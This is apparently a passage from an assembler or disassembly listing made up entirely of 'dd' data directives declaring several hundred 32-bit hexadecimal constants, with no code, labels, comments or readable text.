		dd 6736ADD0h, 0EDB4674Dh, 0B751AB03h, 7161055Bh, 65C9DE38h
		dd 188FBECCh, 1A0F9DD7h, 0BFC4F2D0h, 6B2E0152h,	9041953Eh
		dd 0DE2687C8h, 10B8250Ch, 0DA95817Ah, 0ACCE76h,	56F094EAh
		dd 8C0AF817h, 0B277E821h, 594018ADh, 0EC48D1ADh, 23D5901Ch
		dd 85C510BBh, 679282B7h, 26DD1D17h, 33EBAD8Dh, 0AA045B6h
		dd 24A48E94h, 42CB9DE6h, 1CDBF6BFh, 0F83DE153h,	0D602E0C6h
		dd 7DD09A5Ah, 0FA82463h, 0A6EAF3B8h, 4EBC52E0h,	1B730CF5h
		dd 0B14E00Ah, 4AE4BF02h, 97524EFBh, 10E95840h, 224531C9h
		dd 5B1BC9B0h, 0AAAC77B5h, 0E5E8D630h, 87D27E27h, 42E47208h
		dd 0C7E84B7Ah, 3B167CB8h, 70B37BC5h, 9289C582h,	0D146451Eh
		dd 67A47B5Ah, 377A7B0Ch, 8C25E093h, 0AE67D84Ah,	0EF7C7A4Fh
		dd 0B9FAF842h, 1FEF2C19h, 339837D3h, 5709551Eh,	7D3C69A7h
		dd 0FD41763Ah, 4AA991ADh, 0EAA94C87h, 49BC026h,	0BB3BDDEh
		dd 653FC8A7h, 7624352Eh, 5AC60A56h, 13DE1D3Ah, 97868806h
		dd 0B658144Ch, 0F202CC15h, 0B3894216h, 8021B929h, 0C49537CEh
		dd 3047A368h, 54DC3139h, 0EE2B19F3h, 8AB512DEh,	0FC91D895h
		dd 0F08CA245h, 0C895F803h, 1F68CD50h, 665B7564h, 0E3D34D87h
		dd 2C71349Ch, 0EABE2FC2h, 0CD62A02Fh, 65069DE0h, 0E4015749h
		dd 0C5103BEAh, 7A33BF21h, 6E5A994Fh, 0FE321FF2h, 75EDADD5h
		dd 6C9FCEE1h, 0F3D5BDF6h, 691E2DB2h, 0E4C58881h, 0B9F1C805h
		dd 93381045h, 13FBD0A3h, 0BD0A2C43h, 31F2835Ch,	0B59B30A7h
		dd 781999ABh, 61B327C9h, 0F2686539h, 0EBD8ED7Ah, 0B5B4B09Ch
		dd 79DAC440h, 228F5AD4h, 0F45E24D6h, 0E3D5CDCEh, 1188B7BCh
		dd 3BA90EFBh, 58DF164h,	0B56BF2B3h, 55509A6Eh, 0CB48D6D7h
		dd 0B701577Ch, 70462B60h, 0B4321FE6h, 68D2551Ch, 71E05C7Dh
		dd 0D9679D47h, 0EC3E4472h, 0D78CD92Bh, 0C6D58B6Dh, 1D1706B4h
		dd 0AC508B20h, 0AC8B240Fh, 0C916ECB8h, 0FE8D79BBh, 724845D8h
		dd 0BC955EFFh, 8E19F650h, 4F3D7F6Dh, 26180504h,	4C3E2A8Eh
		dd 4C634815h, 0A5E26926h, 172A9716h, 0F2C8D50Eh, 25B7763Ah
		dd 0B1A30807h, 62E46030h, 71467650h, 852E0A0Fh,	0C4610687h
		dd 0F6BC714h, 3F83B471h, 84AA13FEh, 0CB8E42A3h,	29887560h
		dd 6F7DDCD5h, 0BA39C113h, 7B6C4132h, 0BE7D312h,	823251A3h
		dd 1A4658A9h, 4560DF57h, 7C6135C8h, 3818E2C3h, 5263D425h
		dd 600C195Dh, 6491E4DFh, 0AB40B4A1h, 0A3A67E75h, 5239B1C6h
		dd 6EF046D1h, 7F8E3EBFh, 131077B4h, 0D335182Dh,	0CE470336h
		dd 0B277457h, 2A0EF195h, 763F8393h, 0C7DB75B9h,	6CC3FDDDh
		dd 0C620497Fh, 3E416E2Bh, 7773B001h, 9EC6731Dh,	0B0DB4C01h
		dd 1B687C26h, 0D42CDF89h, 672A131Bh, 331AA6CDh,	89E92239h
		dd 0DF8733F9h, 929B4827h, 991B1970h, 1D61A9E0h,	0A6FAB320h
		dd 1316EF91h, 0C8E62A8Eh, 0D18454A0h, 0BDEFEAF5h, 4B2DB833h
		dd 192CEAD4h, 0A5E9377Ah, 6F91C55Dh, 89846D9Bh,	0D579CB25h
		dd 3CF0E4FFh, 0A4D871C6h, 7D979D61h, 8318A074h,	0E95F471Ah
		dd 0A9CA9E81h, 8641AC7Dh, 67F3903Fh, 386DE0A5h,	979E9902h
		dd 0C7CAC58Ch, 71FCC428h, 572CFBC6h, 9028BEA5h,	19053A70h
		dd 919B555Eh, 0CE08DBAAh, 0C43584DAh, 6C70AB7Eh, 0D23F69E9h
		dd 56A8DC6Bh, 102FB908h, 706DDFBFh, 69B34CC0h, 61B2E50Ah
		dd 0D95E895Eh, 6229333h, 7B762AC7h, 3B53F2D9h, 26358E4Dh
		dd 16695D99h, 7AFF1E78h
		dd 3FB6E856h, 0B4BF2195h, 698F8879h, 0DEE9F948h, 5800C156h
		dd 29A3224Dh, 35F15FB7h, 34BFDE45h, 0EA840C71h,	50B7A229h
		dd 0D0DEA5C9h, 331F5C18h, 5A4C8F91h, 0CFB3675h,	421988Bh
		dd 89246F95h, 0FB271298h, 0A388C0E0h, 0FF209F55h, 0BDCB1D47h
		dd 727DCC43h, 26F15A92h, 72111596h, 407D0356h, 0CD98AA0Ah
		dd 0F9C092Ah, 7C45799Ah, 0F8EE86CFh, 0AB3DC269h, 0F41AD29Fh
		dd 0BD18E980h, 99D0CC43h, 95D88607h, 0EE78A4C3h, 41F3DF3Bh
		dd 0B69CF04Ch, 374C58C6h, 0D8D5C182h, 0CEABB3EAh, 51CD2647h
		dd 7840D188h, 54875C2Dh, 0D803010Dh, 0BAF27F01h, 0F75EB191h
		dd 12E27093h, 903234C7h, 0E01606F6h, 0C4DA4E65h, 3C403F6Ah
		dd 0DA6A5A1Bh, 28EEA406h, 0A56B74EDh, 7F3AFEA8h, 0DC2CDC69h
		dd 0BF92399Fh, 67F185EAh, 0A9F965A9h, 0CE1E3CCEh, 71F2705Fh
		dd 20B8BC38h, 740C694h,	0D456E7F7h, 62A004BBh, 0A2AA576Ah
		dd 18D3050Dh, 8E1DFF92h, 0F1D3951Dh, 0E3199192h, 2C9B5D00h
		dd 9E33B86Dh, 7EE3D5B6h, 935E2417h, 0CCB5A576h,	211B90E2h
		dd 6FA3E0Eh, 8C85C831h,	0DDD9B6C6h, 0F0592A70h,	0D0CD4795h
		dd 4076AD66h, 6849C3B3h, 5743B8C2h, 342729BAh, 77E9A097h
		dd 530BECA4h, 0D6289EB9h, 92F52B38h, 0F3FE5224h, 0C6953A45h
		dd 5F3D3CA2h, 95D401h, 9FE5600Eh, 0D5DEF981h, 536696E0h
		dd 91C0470Eh, 2A999D4h,	0EE47FEE5h, 96E07522h, 0CFAD4394h
		dd 44343F2Ch, 0CE8E54C0h, 389734DDh, 0D337C472h, 0CD718BF9h
		dd 20649E95h, 0CC1C833Ah, 5D75F015h, 0B8542612h, 77444B7Dh
		dd 0FE959D39h, 0A3D5927Bh, 1C0ED9EEh, 352C477h,	15926A8Dh
		dd 22469075h, 0B50E863Ch, 0A60BCAAh, 77A369EFh,	4DA1711Bh
		dd 1BB81574h, 4C59F8B4h, 0C5207F14h, 0C636B884h, 0FF24E3C6h
		dd 0FC4E0C8Eh, 7ECE1651h, 93D5DEE4h, 0E5768587h, 0F480D2EDh
		dd 0F8C80996h, 0D67371Ch, 9CE04081h, 2BB80952h,	0E2C11EF4h
		dd 0BA0708ADh, 0ECEC0C6Eh, 0D6324F1Dh, 68046322h, 9C8DB4DDh
		dd 0F73FB1C7h, 67F7579Ch, 8EB62Dh, 6B42E55Ch, 38685ACAh
		dd 0DC2D5A5Ah, 359AC3C6h, 0A4C32BC7h, 787EDC11h, 0AA091602h
		dd 445EC663h, 25AD9BA7h, 0B168D4D2h, 0BFE07AF5h, 42A68A32h
		dd 48625D4Dh, 0C6F38E97h, 2AFC0F03h, 0B1D64076h, 0C2B0C63Eh
		dd 838B0C28h, 79E90A97h, 0A5307F2Bh, 32CF526Ah,	0E4603F59h
		dd 6773D031h, 0F9DCD67Ah, 0F31E675Ah, 64503C1Ch, 211BA2DFh
		dd 3DAE3F76h, 25B87DDFh, 21763C73h, 0DF67A198h,	99AE3EF7h
		dd 0C896F83Ch, 0C217A4C7h, 395FB6B2h, 0A075E29h, 0E8AE8721h
		dd 2E987E59h, 0ADABE00Ch, 0CFCE9FC3h, 0EF20E4E8h, 0A6C8D345h
		dd 50E7D284h, 0E34C3748h, 0E5C37926h, 8315F8D9h, 10DA1ADEh
		dd 0D927A714h, 0B77F150Fh, 91FCFDF5h, 0AE5397AAh, 45DC656Dh
		dd 56AC62CAh, 6B449892h, 0B7B00762h, 912478F4h,	12BD17CEh
		dd 0ACEF382Bh, 5B50A177h, 24DDD7EEh, 16FB0A28h,	1B7FD0A7h
		dd 7AB7A6CFh, 20C31728h, 0E47EEF01h, 0ABC4EB1Ch, 6F3846C6h
		dd 0ECDAA685h, 0F2FB9BEAh, 9F59F2FBh, 0EB311522h, 65B95DFDh
		dd 15B4F826h, 2E492653h, 0F4C97CC8h, 0EFAC6F69h, 6FD191E5h
		dd 5D7A659Dh, 8253A28Ch, 772452D5h, 0C4EB2F3Fh,	2AA1ACE4h
		dd 0F390B0C4h, 0C0E6D7AFh, 0B784D208h, 18C287CEh, 7BD069BDh
		dd 1BFCE0B5h, 5238B469h, 1F6541F5h, 93BCE49Fh, 552C3E09h
		dd 271FDA0h, 6D2AEA87h,	20E534B7h, 2FCB9E86h, 51521594h
		dd 0F370CAD0h, 963285ADh, 634087C6h, 8BC25543h,	940B04EBh
		dd 0A029CB5Fh, 29CC1C11h, 0DC195977h, 7CF795CAh, 5D2E44B2h
		dd 8FD2D4BCh, 0BCB0AE6Bh, 0F86BF24Dh, 5C4D6C5h,	0BC24D2CDh
		dd 0C6DD08A6h, 43A20BA6h, 2C47E56Fh, 0DC2DB591h, 5F1F990Ah
		dd 0D159B61Ch, 5195215Fh, 9CBB7868h, 7C4F8A07h,	6374EAA4h
		dd 1D14ACC7h, 34931F35h, 0B5359A83h, 8D14FD7Dh,	707B73D7h
		dd 714E9E4Dh, 3BFA24F9h, 8F40825Eh, 8B4187Dh, 0CE7410BBh
		dd 9563078Bh, 0DF054CE3h, 0BD6CC669h, 0BCCDE076h, 0DE64A4C8h
		dd 0D4F291FDh, 4C14F353h, 0D81A896Bh, 0DD9F0FC3h, 6A27DB7Ch
		dd 87E4596Dh, 36DB539Ah, 2F5792E0h, 529D56h, 7517A30Ch
		dd 232C02E0h, 770E192Ch, 5C7F67B2h, 49E035C1h, 0AD0B0176h
		dd 0E6B6455Ah, 7380AEB6h, 0A93CDB68h, 5BFD3E66h, 3AA2C8C6h
		dd 3E2A7635h, 10E2219Fh, 0F477738Ah, 6CCBFF78h,	36B06870h
		dd 0D7FA9220h, 5ECC7072h, 0A816F286h, 244909D6h, 2742CDBCh
		dd 6BD00514h, 0AC0C987Dh, 2ABC4CC5h, 836B502Ch,	5C0D1BC9h
		dd 931C757Dh, 81F1009h,	0C3486656h, 2C7F4EB3h, 1CDC6C1Fh
		dd 63EBB23Ch, 1DDAAF30h, 0BB2B6B65h, 3F07003h, 35A8B311h
		dd 3A05DEB1h, 0E28F702Ch, 12B19683h, 0E6E1E692h, 2F7CAE1Ch
		dd 378548C5h, 703FC52Ah, 0B7BF3BBDh, 57608F71h,	57F3213Ah
		dd 445E6571h, 0E4F9513h, 37DDE8ABh, 0EA006FB5h,	7323C814h
		dd 90C7ACF3h, 0D42D178h, 715C6A39h, 17E99ED5h, 0CDDD3ADBh
		dd 9D5064BBh, 0FD6D9BB4h, 97F1DB0Dh, 160CF1EAh,	0FA4516C3h
		dd 18F340ABh, 6B44B51Ah, 674A4963h, 484A6E52h, 0FAD6F78Bh
		dd 0C7F14878h, 7EE165E1h, 9730E496h, 0C93C3506h, 34CD08B3h
		dd 0C5B56B0Fh, 0C1F6C13Bh, 30AC750Fh, 966FF54h,	305EF5A5h
		dd 0DFEF2240h, 8AF7715h, 21441F50h, 0D95D4C92h,	0A22BE360h
		dd 3191F869h, 9873B9C2h, 2B86B26Ch, 1CADD8F9h, 0CF657E52h
		dd 0C1BAA529h, 0EDF9EEEBh, 9F894C65h, 0BC5D7CFh, 9F570F4Ah
		dd 72004118h, 46551223h, 0F939044Ah, 0CBBAB05h,	57BC9F94h
		dd 9B86EAFAh, 0B54914A9h, 5565255Dh, 960FE9B1h,	6E980878h
		dd 0B98A0A98h, 9BB8228h, 224CEC91h, 389FC549h, 0CEF114A3h
		dd 29043859h, 7ED7D967h, 95D3AF6Eh, 0A4CC0B88h,	55F47403h
		dd 0A2B13418h, 0AC61AD4Ah, 84BA7B19h, 0E3DA224h, 40DF498h
		dd 0FF11FBB1h, 4771CB0Ch, 0EF94CCAAh, 0BD3C3FFh, 9F821724h
		dd 74A5ADCBh, 15ED3568h, 3D99EE96h, 0B5104327h,	5A85FF36h
		dd 664645D9h, 1DF60BDCh, 7259F330h, 4E76E870h, 0EA47931Ah
		dd 3CD6E8FBh, 69467B53h, 94186EC2h, 962B65C1h, 0A8544F27h
		dd 5F0C6EFEh, 0A30D1DBAh, 0F1E56B2Ch, 16B2E5BAh, 0AF0877B5h
		dd 5FA4AD19h, 78D00B63h, 0E5796A4Ah, 0E628C5ACh, 9E11D2C5h
		dd 0C4E284A3h, 0B5BC9A73h, 73B27CCFh, 9BD5F2A3h, 46279A4Dh
		dd 0D8ADBE44h, 61FBDE56h, 0C8F6F367h, 48A7158Bh, 234AD91Bh
		dd 62D53644h, 4256BD5Eh, 0F1EA9351h, 13C690A8h,	692D1ADCh
		dd 470688E6h, 23FB6441h, 0DFE529B2h, 0CBC6905Ah, 39F2FE19h
		dd 0DDD91EAFh, 82C55547h, 0A936DC3h, 3EC980D7h,	8549B87Fh
		dd 7DCDD918h, 0AEB296E3h, 7A228467h, 0DC642BCAh, 6073F258h
		dd 0AFD2B426h, 0A59FD0BBh, 0AD74B690h, 0CA583BE3h, 7719AEA9h
		dd 63BD0706h, 0BB9DD104h, 0EA407C6Fh, 17BF1A6Bh, 23E8722Fh
		dd 2371E318h, 526C67C7h, 0DD0F1176h, 25CFA5D8h,	0CA3BCC9h
		dd 517FC9D8h, 48265E4Fh, 4B1F57CCh, 0C3B8E2D9h,	0BA1F3191h
		dd 0D6316907h, 20B0AADh, 0FF831EA4h, 3ABF034Ah,	8B137ADh
		dd 0F77129F5h, 27460662h, 0E749ACFAh, 735A306Dh, 58D7570Fh
		dd 4272C92Eh, 0D4A8A313h, 0BC22E2A8h, 77E25CE1h, 0AD09AC18h
		dd 9986FC6Ch, 0B8C49AF5h, 857574Bh, 6A938CA2h, 72C76635h
		dd 15FCA54Ah, 93EB8F74h, 9C00BCE3h, 52FC5CF7h, 0AF60C80Dh
		dd 0E2ADADFDh, 0BBF0D457h
		dd 7BEEF67Bh, 9DC1BE5Ah, 0FE136380h, 0B77B9861h, 6069466Fh
		dd 1C5A5920h, 627C7F89h, 4BB982F0h, 6986DD04h, 0F9AC31E8h
		dd 6E5FDE63h, 0B69B87Eh, 3FBDC8F9h, 9F4A5FFFh, 204302C4h
		dd 3530D0BBh, 0CE32F59Dh, 0AABF14ADh, 21742274h, 0A8A9A7D4h
		dd 9B9032C2h, 0CD6D77E3h, 553E3CD2h, 6A9F1DD4h,	0BD1CB8A1h
		dd 7CC19280h, 0FE44F4A9h, 0B1ECBE02h, 0FB884BE3h, 1AB172E5h
		dd 0AEE04F06h, 274708CDh, 529CA57Dh, 0D7C9A742h, 0EC4DC6D7h
		dd 0BE5E5416h, 3611C089h, 8ECF4DEFh, 1D59CC3Dh,	0B9AFE9F4h
		dd 0C0613A87h, 0DD74FFEBh, 146AACE2h, 6C174E1Eh, 45ECD812h
		dd 0E57E3C7h, 26FF686Eh, 349CD839h, 0C4A27FE5h,	8D54AE57h
		dd 40C362F4h, 0D801829Ah, 2B4647C9h, 0B9A16EF6h, 2563EF69h
		dd 5CE50D42h, 0B53B144Ch, 7EB3EB72h, 24587A08h,	3131913Dh
		dd 0AA8DE882h, 5FE976B2h, 0D906B1BBh, 7773AF12h, 0E796DDA3h
		dd 0DA7CB7Ch, 0D8C87C60h, 0D62DFDC2h, 947DDEE6h, 84C0A294h
		dd 13F24115h, 31C68CA8h, 248D8EA4h, 60E05552h, 58C8FD5Eh
		dd 0A7C97DC4h, 4E6E4D0h, 14456E87h, 9BDB5EC8h, 3120EDE1h
		dd 2B9F0995h, 0D4BCC00h, 0D3E01262h, 8984B83Dh,	91F0DC97h
		dd 22E0FB5Fh, 459CAA5Bh, 7E034C12h, 0F61F1B1Bh,	0C397DE9Ch
		dd 551ECA98h, 0AE33BA64h, 0CD941638h, 1BB59820h, 0B84A4DB9h
		dd 0DB38961Fh, 87520F6Dh, 9D250480h, 0C37A743Dh, 0E8203297h
		dd 10119C30h, 0A0C41441h, 327FA121h, 0E08492EEh, 0A214C4C5h
		dd 8D142B2Bh, 0D9826B81h, 0B934DE1Bh, 7E302E24h, 0B74F503Eh
		dd 769A1155h, 14D619FCh, 334698CDh, 0E46AC5DBh,	0C4920237h
		dd 0EA3B1F73h, 940C0970h, 9E574E8Eh, 32BCE66Dh,	0C4176146h
		dd 4051FABFh, 0A00D4CBh, 0AB9E7D33h, 5E5AD160h,	1C3F16FBh
		dd 0AFB76A75h, 643C00D2h, 0CE713D5Eh, 0CD0290D6h, 5F60C45Ch
		dd 0CF2C371Ch, 0E7BB1586h, 30533019h, 0A37302C8h, 0F2DCF987h
		dd 63398314h, 9DDE6BCDh, 70D88B25h, 0B5EE89AEh,	41654695h
		dd 0AEE3AB3h, 88677F82h, 5F76BE7Bh, 7710BB8Bh, 57D6020Dh
		dd 2EC6DD3Eh, 835C8E89h, 84D885AAh, 0A8CA41B0h,	0B14FE524h
		dd 81615F77h, 99A828F0h, 34C85602h, 0FBFA0EA3h,	0AB9713C8h
		dd 0A4176B10h, 0F4FB549Fh, 0CFA9B0BAh, 49695F31h, 6BFAA36Fh
		dd 42180D26h, 80CC65B3h, 0E3797878h, 3396A4E6h,	0C82FE21Fh
		dd 0C20A519Ah, 54496194h, 0ED93D075h, 0BA280B82h, 0E98C4FF7h
		dd 9DFF1789h, 0F43F2F48h, 9DA4EB45h, 95E77AE4h,	0FFD34DA5h
		dd 74200580h, 0DC56513Bh, 806F6710h, 32B8CD3Ch,	2E6FD579h
		dd 97145C9Eh, 74DF760Eh, 34C5AEB0h, 0F51AEBADh,	0FA0FB133h
		dd 339FB36Dh, 0D8D02197h, 0AFCF9815h, 0F4C00691h, 502410A0h
		dd 0C2E3CB86h, 0BB7081CBh, 29226B4Ah, 14BB948Dh, 40043E6h
		dd 7ED93605h, 7409C164h, 0E74F1D73h, 0B23F5F00h, 0DD6AAD3Eh
		dd 3EB51D90h, 0D8F2808Ah, 0C202A0E9h, 4E1582EAh, 14A341D3h
		dd 6EF7D6F8h, 0E157EA50h, 8855B7F8h, 0FC4936E3h, 99414620h
		dd 0F2F9BD9Dh, 58FDD40Fh, 2AAA81EBh, 0D921FD04h, 0A78B21B5h
		dd 9BFC9285h, 9E9A36F1h, 0FDD21DD8h, 26F1F420h,	0B9FF7D1Fh
		dd 5822A003h, 0B210C864h, 10AA288Ch, 0F9D3E2B0h, 8E286C33h
		dd 0F08E78C3h, 8D19812Ch, 8591206Eh, 1DC995Eh, 7FA2119h
		dd 7D98AC2Ah, 5346C0A6h, 85C3044Fh, 3D9EE56Ah, 0DC848D66h
		dd 492A32ABh, 0D863CCFDh, 0F5B0DD38h, 0B02911A5h, 0E8A37E9Ah
		dd 0E6CFED4Ch, 2AFDEF5Ah, 6F8D57E7h, 91BDEB67h,	9E7711h
		dd 708C4407h, 23A8620h,	95E9C59h, 0DF3BECDh, 94758196h
		dd 0D1B1F80Bh, 8F20A479h, 3E2927AAh, 0E64ED036h, 41BD3283h
		dd 5F90C04Ah, 7E35ED38h, 3AE49A05h, 677A6BFAh, 0B9670517h
		dd 9DD811A1h, 7CAC2ACFh, 10C8CBE2h, 244F617Ch, 0FA8D90BAh
		dd 77E926B1h, 9B7D287Eh, 6961481h, 0AA519BFEh, 9DAD1011h
		dd 0C8A65D5Ch, 51B9DE61h, 22FFB50Ch, 91E85E5Eh,	0B23110ABh
		dd 0C2847B8Ah, 717DF8CBh, 2A931B75h, 4EBB598Fh,	6B22B7CAh
		dd 3EE1B49Fh, 8652E742h, 4DD7A1DCh, 97A2BAB6h, 0FB4F151Bh
		dd 4AC0ADDFh, 0B0EEE8EAh, 0AD1526D0h, 5592168Eh, 4A2B748h
		dd 0AB448D82h, 0C2A76A88h, 3B62891Ch, 4EEF89BDh, 2595F9E8h
		dd 0D407F79Eh, 581099EFh, 88FDB36h, 4BA0C6Eh, 0DF3C48D0h
		dd 1DACD2D6h, 0B968C4BDh, 0D53DA423h, 4F1E83DCh, 720E32D8h
		dd 360247C7h, 0C0FFB628h, 30C60F99h, 4A7D8AEAh,	0B0B12A59h
		dd 6FF0B29Ch, 4BDF53FEh, 6873F808h, 5F0456ECh, 0DAA0EC06h
		dd 0EA2A35ADh, 6AE5191Ch, 52996EF0h, 0D3425D88h, 5CAA8B8Ah
		dd 124799D9h, 1890B761h, 61128757h, 6E686E59h, 0F44CCFB2h
		dd 0AD5E4465h, 0E538776Dh, 7EAE8427h, 3499287Ah, 0C8719469h
		dd 6779B379h, 3DA1E61Dh, 9A5D6297h, 0B0BD0191h,	0E7DAF7B9h
		dd 3E2D4B2Dh, 94D023B9h, 53CCDE8Fh, 0E7D94A3Dh,	0FA5224D8h
		dd 0E1827101h, 8CA05BFh, 0A3C99516h, 9CA67165h,	14252185h
		dd 0D340DC08h, 5DE157FFh, 0BB439E0Fh, 4651BD09h, 22F034E1h
		dd 0B2FC7A82h, 80FD2FD5h, 0B49C663Eh, 542E30D0h, 85E92201h
		dd 7DE08C02h, 81590B59h, 0E6C6A83Fh, 4814DFC2h,	6908365Ch
		dd 440CB239h, 815E6D2h,	0FB7EEB6Ch, 0D1D47499h,	5EE23072h
		dd 6A495524h, 83779872h, 617FD0EBh, 0BA386D59h,	1DDC0832h
		dd 2AFBDE7h, 5F8352E8h,	9ADF5029h, 8B8A1FA3h, 0B2347A85h
		dd 2A00D615h, 8F3C18EBh, 0FA52E40Dh, 510D2692h,	12D703F3h
		dd 7B3F0487h, 171DA483h, 51FAE385h, 4BDA91DDh, 6421FA5h
		dd 0D2473F29h, 6CFC2B44h, 7F4F0DE5h, 6CFE1546h,	871CFA50h
		dd 96D41681h, 5F5E4361h, 8D79BEBBh, 0DE721868h,	3FE60C1Eh
		dd 557035A8h, 201AF6D6h, 9451E7A8h, 37B950BCh, 9A114497h
		dd 2BBC2AC4h, 0C8C92525h, 0B85A17C7h, 0DD3E539Ah, 0C1D59B3Ah
		dd 0FF95E774h, 0A92B404Eh, 0A226C01Dh, 41EDDC01h, 0B4D220B9h
		dd 24475EE4h, 0C4615A8h, 1FAE1325h, 0F542917Eh,	0CA6E5C97h
		dd 428B94E4h, 0FA1146C9h, 98DC472Ah, 0C00FE198h, 31458D12h
		dd 0EFFA81DDh, 0F8060D65h, 3DAD9B15h, 1B398DDCh, 946D93A5h
		dd 4C445879h, 0D792FF55h, 8E6BAD32h, 56DC9385h,	0E9CCBF1Ch
		dd 0A4DCF894h, 0A849C498h, 1AC51B8h, 42639758h,	2E23D589h
		dd 496CA1FEh, 1FFACF9Ch, 0F4658642h, 8B65F469h,	4639669Ah
		dd 0E2414D7Dh, 98C1D91Dh, 7BEAE255h, 9722F42Ah,	14858D2Fh
		dd 33EB900Dh, 0CB32172Bh, 88F0583Dh, 0BB226754h, 0D3B90B2h
		dd 2DD305C2h, 0BCF97F69h, 0FC860310h, 1A613EEBh, 18DE620Bh
		dd 1729328Fh, 0BCE8175Eh, 0BFB79C85h, 15F1ADBCh, 8309F066h
		dd 6404A305h, 0B2EE5F6Fh, 584396CDh, 0A4DC2606h, 0B6CC5C47h
		dd 4824CAF0h, 0EFD0E5A7h, 301ACC3Fh, 6BA5D3DFh,	0F7E8035Dh
		dd 0FF4AD4B9h, 9956DEB8h, 4CB4C171h, 7121C829h,	79CA7614h
		dd 85E90AC3h, 48B1B4F1h, 9FCBF222h, 0D6E38D4Ah,	26BF9951h
		dd 18DDE1B7h, 158D2AECh, 3BF85293h, 93B84EFFh, 8672567Fh
		dd 0AF3402CBh, 0E302C1D4h, 994F32D0h, 9FABB1C7h, 398C4626h
		dd 9E7C386Dh, 1ABBA9D2h, 14120B7Bh, 4E3C03Dh, 22A5EBD3h
		dd 0F78DB98Fh, 7490ED32h, 48D1BC94h, 53CDCF57h,	0C8E4A6C9h
		dd 15EF72Eh, 0B740CD7Dh, 0DDE320F8h, 0AD00B1B1h, 5FB4F920h
		dd 0E547A5A2h, 0E6039804h, 630F2489h, 8196DD29h, 1060EDFDh
		dd 88B66DF9h, 879D8C25h
		dd 26728C3h, 1BB21405h,	320BA80Bh, 0DD48EF06h, 4672EC4Ah
		dd 0FB34FD4h, 0B6E7218Fh, 0A8BBAFBBh, 9E01A06Ah, 2D51E7E7h
		dd 10D96A30h, 0B6450947h, 887DA73Bh, 858805CFh,	0BA4C7EF5h
		dd 0F5251AF3h, 0C77FDB1Eh, 2727B60Dh, 0D8E233A1h, 9CD66C3Ah
		dd 8E4BE6ADh, 0A15BC9D9h, 4189CE1Eh, 0E27FC52Bh, 0D961A3B7h
		dd 0D6BF4AEEh, 0C9139B07h, 3C9C5CE4h, 0A09A148Ah, 59A553F4h
		dd 0C2EB5666h, 7DCF8C2Fh, 0E22AB34Bh, 88969DA6h, 45C7DC98h
		dd 5094090Ch, 0F2F79144h, 458934EFh, 0DD315C29h, 0B698BC23h
		dd 328AADA8h, 87F8DFCDh, 1C912216h, 218DC764h, 64386106h
		dd 0E6FEA6E8h, 626D1458h, 3C03E97Ah, 0FA2F5AA1h, 31674D6h
		dd 821DFCE4h, 0BFFCDB9Bh, 0D68E1115h, 4F5FDEDFh, 0CFC26C61h
		dd 80F3B661h, 318CAE28h, 0AA8685A4h, 9BAFA3DEh,	3F22E019h
		dd 1B9DFC2Fh, 0E58B6FA2h, 0A1563104h, 0C7FB97A1h, 24B4142h
		dd 76789816h, 0D1720B10h, 34E707ACh, 511D8DAh, 315994A0h
		dd 5CDE2135h, 86CE1069h, 468079AEh, 0EC607A47h,	6A0A5E1Fh
		dd 0FF96D421h, 35AAFBD7h, 0E1D6C762h, 8550EC1Eh, 0FEA7051Fh
		dd 0B69DBAE1h, 0E7F4E017h, 37CE8084h, 99BEDA79h, 5A12EE05h
		dd 7922E4A2h, 4F727CE4h, 0F9CF91E8h, 3FC7152Ch,	4AFA3AB1h
		dd 276412D1h, 0E37A6519h, 82A3DC4Eh, 80E11FB6h,	542EF6A3h
		dd 0E613F58Ch, 8B25FFC1h, 0D5AF1BD9h, 4EF70A38h, 2F3E6E79h
		dd 0A647A814h, 933FC026h, 0CF2CDFCFh, 22DADAB4h, 276E8A23h
		dd 6869B252h, 3A081EC8h, 3F17CFCBh, 780BEA41h, 6401369h
		dd 0F393F027h, 0B68C1AF6h, 0E184D825h, 42D63C77h, 94D5B3F2h
		dd 46237249h, 405049Eh,	0DC1F7684h, 5666E51h, 0A63DC81Ah
		dd 155AA03Ch, 8D09C0A3h, 6F15E5E6h, 0BA31EF4Eh,	0F4DF8A1Dh
		dd 46A4BEF3h, 0D3126A07h, 550CCE26h, 0EDA1397Dh, 55DD9436h
		dd 88F44DC3h, 5FE1FB74h, 364F424h, 59362541h, 9FEBE273h
		dd 0E7C84616h, 0A4EE6D6Ah, 65B78829h, 0EA99514Dh, 0DCB65831h
		dd 88BC7C47h, 5D634A32h, 0A79062B6h, 0FD83D123h, 537FE7F4h
		dd 0D20E132Ah, 95214E62h, 0F194E39Fh, 0A3099092h, 0AA62ED2Ah
		dd 0D9327A03h, 9C15E90Ah, 4CD8445Bh, 1B2432Ch, 3084028Ch
		dd 0F733B37Eh, 5617F762h, 462F32F1h, 0C6D99868h, 0AB923A0h
		dd 0AF83DB95h, 0DE4D002Fh, 845A7F6Ch, 4AC45990h, 1EC54A44h
		dd 32B5EBB4h, 0BEB22EC7h, 28BA0A90h, 0CB4FD84Bh, 0AF6BBCFh
		dd 47E5FC76h, 4CED37C5h, 7D8A0BE8h, 1E7BA6FCh, 0C53943BFh
		dd 3C419558h, 0DE31FDF4h, 0F2CDC5AAh, 91BD2B84h, 5581B95Bh
		dd 0B7C60F1Ch, 6CF4FA11h, 0CE1DB05Ch, 0B98E0C3Eh, 7334B022h
		dd 31EC0CEh, 0C5ADB68Fh, 9BB1B3DDh, 0D5030B18h,	0DE48167h
		dd 598969BCh, 0EC922088h, 0EAE55FEBh, 0E7136A2Dh, 94B2D036h
		dd 350E7772h, 31182E26h, 6ECF937Ah, 714AD123h, 168C712Ah
		dd 39DBF0CEh, 5086CF12h, 0DD6A433Ah, 0C5C92C6Eh, 2EB2DC69h
		dd 1E4B78E8h, 0F18F7DD6h, 277E1E1Ch, 0AB1420C3h, 380B17A0h
		dd 0E795558Ch, 17436888h, 136C7A6Fh, 0CC269CCCh, 0E411767Dh
		dd 1B4F45B7h, 95897BEEh, 9F40FE31h, 7A677153h, 0C917B31Bh
		dd 0C90C4744h, 9B628F7Dh, 5334F7E2h, 0A4006918h, 9A4F03Dh
		dd 89CF69CFh, 0CBC25A6Ch, 363C7665h, 0FB0FB27h,	5FC269h
		dd 602A7AE9h, 0BB3374D4h, 2196C17Eh, 3F40917h, 0FCB9E040h
		dd 352CA870h, 56DCAB0Fh, 0A73FA379h, 65223A0Dh,	0E69EEDADh
		dd 94624173h, 0ACCE3F6Dh, 6BB95A48h, 7BD395B0h,	2AEC7B5h
		dd 4F68D1FFh, 9B9E0677h, 0FFCD1FD6h, 5CE1BD9Ch,	0B06A306Bh
		dd 0A426D260h, 0EA24E61Fh, 87FE40FEh, 0C206A9D3h, 9508CA83h
